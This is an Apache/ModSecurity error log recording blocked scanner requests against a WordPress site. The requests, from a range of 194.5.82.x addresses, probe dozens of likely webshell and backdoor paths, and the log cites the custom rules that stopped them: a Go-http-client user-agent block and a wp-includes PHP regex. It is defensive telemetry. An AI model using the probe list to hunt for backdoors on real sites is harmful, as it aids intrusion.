[Tue Mar 24 01:49:20.877032 2026] [:error] [pid 56435:tid 56500] [client 194.5.82.167:24081] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "acF9IMrwr-l5A-s9ryCQzgAAAQE"]
[Tue Mar 24 01:49:21.056703 2026] [:error] [pid 56237:tid 56339] [client 194.5.82.55:57137] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/prayer_intentions.php"] [unique_id "acF9IQymO0MnzQb90MMzXQAAAJI"]
[Tue Mar 24 01:49:21.237330 2026] [:error] [pid 56237:tid 56337] [client 194.5.82.82:46539] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/slideshow-ck/themes/config.php"] [unique_id "acF9IQymO0MnzQb90MMzXwAAAJA"]
[Tue Mar 24 01:49:21.417507 2026] [:error] [pid 56237:tid 56335] [client 194.5.82.68:45655] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/db-status.php"] [unique_id "acF9IQymO0MnzQb90MMzYAAAAI4"]
[Tue Mar 24 01:49:21.598080 2026] [:error] [pid 56237:tid 56340] [client 194.5.82.97:54039] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/system.php"] [unique_id "acF9IQymO0MnzQb90MMzYwAAAJM"]
[Tue Mar 24 01:49:21.780218 2026] [:error] [pid 56238:tid 56357] [client 194.5.82.76:60161] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/error.php"] [unique_id "acF9IVSqceFAZRgPDq6vGAAAAMk"]
[Tue Mar 24 01:49:21.960307 2026] [:error] [pid 31798:tid 31815] [client 194.5.82.74:24317] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments-pagination-next/"] [unique_id "acF9IXdtW_1bksndFbY6FAAAAA8"]
[Tue Mar 24 01:49:22.201701 2026] [:error] [pid 56236:tid 56305] [client 194.5.82.67:46793] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/"] [unique_id "acF9InapFgYp0uZ8twAszAAAAEw"]
[Tue Mar 24 01:49:22.381526 2026] [:error] [pid 56238:tid 56369] [client 194.5.82.82:25955] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cgi-bin/cgi-bin/sql.php"] [unique_id "acF9IlSqceFAZRgPDq6vGwAAANU"]
[Tue Mar 24 01:49:22.563212 2026] [:error] [pid 56238:tid 56358] [client 194.5.82.61:54697] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options.php"] [unique_id "acF9IlSqceFAZRgPDq6vHQAAAMo"]
[Tue Mar 24 01:49:22.749564 2026] [:error] [pid 56238:tid 56350] [client 194.5.82.93:26589] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp-admin/security.php"] [unique_id "acF9IlSqceFAZRgPDq6vHwAAAMI"]
[Tue Mar 24 01:49:22.929723 2026] [:error] [pid 56236:tid 56317] [client 194.5.82.68:54189] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "acF9InapFgYp0uZ8twAszgAAAFg"]
[Tue Mar 24 01:49:23.112418 2026] [:error] [pid 56236:tid 56309] [client 194.5.82.87:60159] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-mail.phpp"] [unique_id "acF9I3apFgYp0uZ8twAszwAAAFA"]
[Tue Mar 24 01:49:23.296404 2026] [:error] [pid 56237:tid 56345] [client 194.5.82.98:24195] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/upload.php"] [unique_id "acF9IwymO0MnzQb90MMzZgAAAJg"]
[Tue Mar 24 01:49:23.478302 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.103:22465] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-cron.php"] [unique_id "acF9I1SqceFAZRgPDq6vIwAAAM8"]
[Tue Mar 24 01:49:23.659311 2026] [:error] [pid 56237:tid 56336] [client 194.5.82.70:61125] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/api.php"] [unique_id "acF9IwymO0MnzQb90MMzaAAAAI8"]
[Tue Mar 24 01:49:23.840852 2026] [:error] [pid 56237:tid 56338] [client 194.5.82.74:24537] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/panel.php"] [unique_id "acF9IwymO0MnzQb90MMzaQAAAJE"]
[Tue Mar 24 01:49:24.021069 2026] [:error] [pid 56237:tid 56330] [client 194.5.82.99:24687] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "acF9JAymO0MnzQb90MMzagAAAIk"]
[Tue Mar 24 01:49:24.200131 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.65:28959] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/tx1.php"] [unique_id "acF9JMrwr-l5A-s9ryCQ0AAAAQc"]
[Tue Mar 24 01:49:24.379609 2026] [:error] [pid 56238:tid 56356] [client 194.5.82.61:43881] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/network.php"] [unique_id "acF9JFSqceFAZRgPDq6vJgAAAMg"]
[Tue Mar 24 01:49:24.558687 2026] [:error] [pid 56238:tid 56359] [client 194.5.82.104:63293] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "acF9JFSqceFAZRgPDq6vKAAAAMs"]
[Tue Mar 24 01:49:24.738136 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.87:30229] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "acF9JHdtW_1bksndFbY6FwAAABc"]
[Tue Mar 24 01:49:24.917559 2026] [:error] [pid 56435:tid 56514] [client 194.5.82.54:25083] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/chosen.php"] [unique_id "acF9JMrwr-l5A-s9ryCQ0wAAAQ0"]
[Tue Mar 24 01:49:25.097066 2026] [:error] [pid 56236:tid 56297] [client 194.5.82.82:52983] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "acF9JXapFgYp0uZ8twAs0gAAAEQ"]
[Tue Mar 24 01:49:25.279120 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.88:52897] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/bb.php"] [unique_id "acF9Jcrwr-l5A-s9ryCQ1AAAAQQ"]
[Tue Mar 24 01:49:25.461430 2026] [:error] [pid 56236:tid 56315] [client 194.5.82.60:56407] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "acF9JXapFgYp0uZ8twAs1QAAAFY"]
[Tue Mar 24 01:49:25.641593 2026] [:error] [pid 56236:tid 56296] [client 194.5.82.102:20985] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint/about2.php"] [unique_id "acF9JXapFgYp0uZ8twAs1wAAAEM"]
[Tue Mar 24 01:49:25.820895 2026] [:error] [pid 56236:tid 56302] [client 194.5.82.60:57699] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/pngoptimazie.php"] [unique_id "acF9JXapFgYp0uZ8twAs2AAAAEk"]
[Tue Mar 24 01:49:26.001561 2026] [:error] [pid 56236:tid 56294] [client 194.5.82.63:29577] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/contact-form-7/rstsgd.php"] [unique_id "acF9JnapFgYp0uZ8twAs2gAAAEE"]
[Tue Mar 24 01:49:26.183483 2026] [:error] [pid 56236:tid 56317] [client 194.5.82.70:40171] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/shortcodes-ultimate/admin.php"] [unique_id "acF9JnapFgYp0uZ8twAs2wAAAFg"]
[Tue Mar 24 01:49:26.363715 2026] [:error] [pid 56236:tid 56298] [client 194.5.82.84:53247] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/install-helper-new.php"] [unique_id "acF9JnapFgYp0uZ8twAs3QAAAEU"]
[Tue Mar 24 01:49:26.543743 2026] [:error] [pid 56236:tid 56297] [client 194.5.82.83:61827] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/mariju.php"] [unique_id "acF9JnapFgYp0uZ8twAs4AAAAEQ"]
[Tue Mar 24 01:49:26.723804 2026] [:error] [pid 56236:tid 56311] [client 194.5.82.104:58845] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options-discussion-statement.php"] [unique_id "acF9JnapFgYp0uZ8twAs4wAAAFI"]
[Tue Mar 24 01:49:26.903986 2026] [:error] [pid 56238:tid 56368] [client 194.5.82.98:32201] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/xmrlpc.php"] [unique_id "acF9JlSqceFAZRgPDq6vLAAAANQ"]
[Tue Mar 24 01:49:27.085116 2026] [:error] [pid 56238:tid 56366] [client 194.5.82.74:34591] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/author-template-object.php"] [unique_id "acF9J1SqceFAZRgPDq6vLQAAANI"]
[Tue Mar 24 01:49:27.266870 2026] [:error] [pid 31798:tid 31805] [client 194.5.82.55:57923] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/doc.php"] [unique_id "acF9J3dtW_1bksndFbY6GgAAAAU"]
[Tue Mar 24 01:49:27.447924 2026] [:error] [pid 56238:tid 56362] [client 194.5.82.68:64051] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "acF9J1SqceFAZRgPDq6vMAAAAM4"]
[Tue Mar 24 01:49:27.628311 2026] [:error] [pid 56238:tid 56357] [client 194.5.82.65:57189] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/177.php"] [unique_id "acF9J1SqceFAZRgPDq6vMQAAAMk"]
[Tue Mar 24 01:49:27.811743 2026] [:error] [pid 56238:tid 56365] [client 194.5.82.64:34749] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-title-restful.php"] [unique_id "acF9J1SqceFAZRgPDq6vMwAAANE"]
[Tue Mar 24 01:49:27.993045 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.90:28921] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/fonts/poppins/wp-login.php"] [unique_id "acF9J3dtW_1bksndFbY6HQAAAAc"]
[Tue Mar 24 01:49:28.176539 2026] [:error] [pid 31798:tid 31801] [client 194.5.82.103:60783] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/goods.php"] [unique_id "acF9KHdtW_1bksndFbY6HwAAAAE"]
[Tue Mar 24 01:49:28.385580 2026] [:error] [pid 56236:tid 56294] [client 194.5.82.63:32991] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/moon.php"] [unique_id "acF9KHapFgYp0uZ8twAs5wAAAEE"]
[Tue Mar 24 01:49:28.566333 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.102:35717] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wpcode/moon.php"] [unique_id "acF9KMrwr-l5A-s9ryCQ1wAAARQ"]
[Tue Mar 24 01:49:28.757042 2026] [:error] [pid 31798:tid 31813] [client 194.5.82.100:61649] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acF9KHdtW_1bksndFbY6JQAAAA0"]
[Tue Mar 24 01:49:28.937174 2026] [:error] [pid 56238:tid 56369] [client 194.5.82.72:22955] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/backup/js/images/wkag/"] [unique_id "acF9KFSqceFAZRgPDq6vNQAAANU"]
[Tue Mar 24 01:49:29.116773 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.65:56249] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/ftde.php"] [unique_id "acF9KXdtW_1bksndFbY6KQAAABE"]
[Tue Mar 24 01:49:29.297393 2026] [:error] [pid 56238:tid 56358] [client 194.5.82.100:63863] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "acF9KVSqceFAZRgPDq6vNgAAAMo"]
[Tue Mar 24 01:49:29.480397 2026] [:error] [pid 31798:tid 31800] [client 194.5.82.77:45665] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "acF9KXdtW_1bksndFbY6KwAAAAA"]
[Tue Mar 24 01:49:29.663880 2026] [:error] [pid 56238:tid 56357] [client 194.5.82.96:37877] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-reply-link/"] [unique_id "acF9KVSqceFAZRgPDq6vPgAAAMk"]
[Tue Mar 24 01:49:29.849216 2026] [:error] [pid 31798:tid 31813] [client 194.5.82.85:47813] [client 194.5.82.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/pattern/"] [unique_id "acF9KXdtW_1bksndFbY6NAAAAA0"]
[Tue Mar 24 01:49:30.028834 2026] [:error] [pid 56237:tid 56321] [client 194.5.82.101:42135] [client 194.5.82.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "acF9KgymO0MnzQb90MMzawAAAIA"]
[Tue Mar 24 01:49:30.211032 2026] [:error] [pid 31798:tid 31816] [client 194.5.82.94:63291] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/"] [unique_id "acF9KndtW_1bksndFbY6PAAAABA"]
[Tue Mar 24 01:49:30.390765 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.97:36503] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/"] [unique_id "acF9KndtW_1bksndFbY6PwAAABc"]
